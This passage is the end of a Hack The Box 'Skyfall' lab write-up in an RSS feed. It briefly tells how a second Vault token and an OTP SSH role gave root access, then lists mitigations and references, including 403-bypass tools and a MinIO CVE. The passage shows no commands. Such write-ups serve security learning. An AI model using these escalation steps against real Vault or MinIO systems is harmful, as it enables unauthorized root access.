srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/yippe_hu598b25bf2cff1d7f405bf398ebd8b976_145633_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/yippe_hu598b25bf2cff1d7f405bf398ebd8b976_145633_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="416"
data-flex-basis="1000px"
>&lt;/p>
&lt;p>So it had another &lt;code>vault token&lt;/code>, obviously after all this, it should be the root user&amp;rsquo;s token only 🫠🫠🫠
I replaced the earlier token in my &lt;code>.bashrc&lt;/code> with this new one. Then using the &lt;code>admin_otp_key_role&lt;/code>, was able to login to root user&amp;rsquo;s ssh session.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot.png"
width="2478"
height="968"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot_hu2dc87a84221ed873bd9b47bc6fe76985_227431_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/sshroot_hu2dc87a84221ed873bd9b47bc6fe76985_227431_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="255"
data-flex-basis="614px"
>&lt;/p>
&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>
&lt;p>&lt;strong>Restrict Access to Sensitive Pages&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that access to sensitive pages such as MinIO metrics is properly restricted. Use proper authentication and authorization mechanisms to prevent unauthorized access.&lt;/li>
&lt;li>Implement IP whitelisting and network segmentation to limit access to administrative interfaces.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Secure Credentials and Sensitive Information&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Avoid storing sensitive information, such as credentials and tokens, in publicly accessible places or environment variables. Use secrets management solutions like HashiCorp Vault to securely store and access credentials.&lt;/li>
&lt;li>Regularly audit and rotate credentials to minimize the impact of any potential disclosure.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Proper File Permissions&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Ensure that sensitive files, such as logs and configuration files, have appropriate permissions set to prevent unauthorized access. Use least privilege principle when setting file permissions.&lt;/li>
&lt;li>Regularly audit file permissions and access controls to ensure compliance with security policies.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Implement Security Controls for Command Line Tools&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Restrict the use of command line tools like &lt;code>minio mc&lt;/code> and &lt;code>HashiCorp Vault CLI&lt;/code> to authorized users only. Ensure that only necessary commands are available to users.&lt;/li>
&lt;li>Implement logging and monitoring for the use of such tools to detect and respond to any unauthorized or suspicious activity.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Mitigate Symlink Race Vulnerabilities&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Validate and sanitize all inputs and file paths to prevent symlink attacks. Ensure that temporary files and directories are created in secure locations.&lt;/li>
&lt;li>Use secure programming practices to avoid race conditions and ensure atomic operations when dealing with file system operations.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Monitor and Respond to Anomalous Activities&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Implement continuous monitoring and alerting for unusual activities, such as unauthorized access attempts, sensitive file modifications, and unexpected command executions.&lt;/li>
&lt;li>Have an incident response plan in place to quickly respond to and mitigate any detected security incidents.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The Skyfall HTB box showcased several critical vulnerabilities that could lead to a full system compromise. By identifying and exploiting weaknesses in access control, sensitive information disclosure, and file permission configurations, an attacker could escalate their privileges and gain root access. To prevent such security breaches, it is crucial to implement comprehensive security measures, including proper access controls, secure storage and handling of sensitive information, regular auditing of file permissions, and monitoring of system activities.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ul>
&lt;li>&lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>https://github.com/RustScan/RustScan&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses" target="_blank" rel="noopener"
>https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/lobuhi/byp4xx" target="_blank" rel="noopener"
>https://github.com/lobuhi/byp4xx&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/devploit/nomore403" target="_blank" rel="noopener"
>https://github.com/devploit/nomore403&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://vulners.com/nuclei/NUCLEI:CVE-2023-28432" target="_blank" rel="noopener"
>https://vulners.com/nuclei/NUCLEI:CVE-2023-28432&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html" target="_blank" rel="noopener"
>https://min.io/docs/minio/linux/reference/minio-mc.html&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs" target="_blank" rel="noopener"
>https://min.io/docs/minio/linux/reference/minio-mc.html?ref=docs&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault/install" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault/install&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef" target="_blank" rel="noopener"
>https://irezyigit.medium.com/vault-part9-deeper-look-into-tokens-72da0dceb5ef&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords" target="_blank" rel="noopener"
>https://developer.hashicorp.com/vault/docs/secrets/ssh/one-time-ssh-passwords&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/Sn1r/Forbidden-Buster" target="_blank" rel="noopener"
>https://github.com/Sn1r/Forbidden-Buster&lt;/a>&lt;/li>
&lt;/ul></description></item></channel></rss>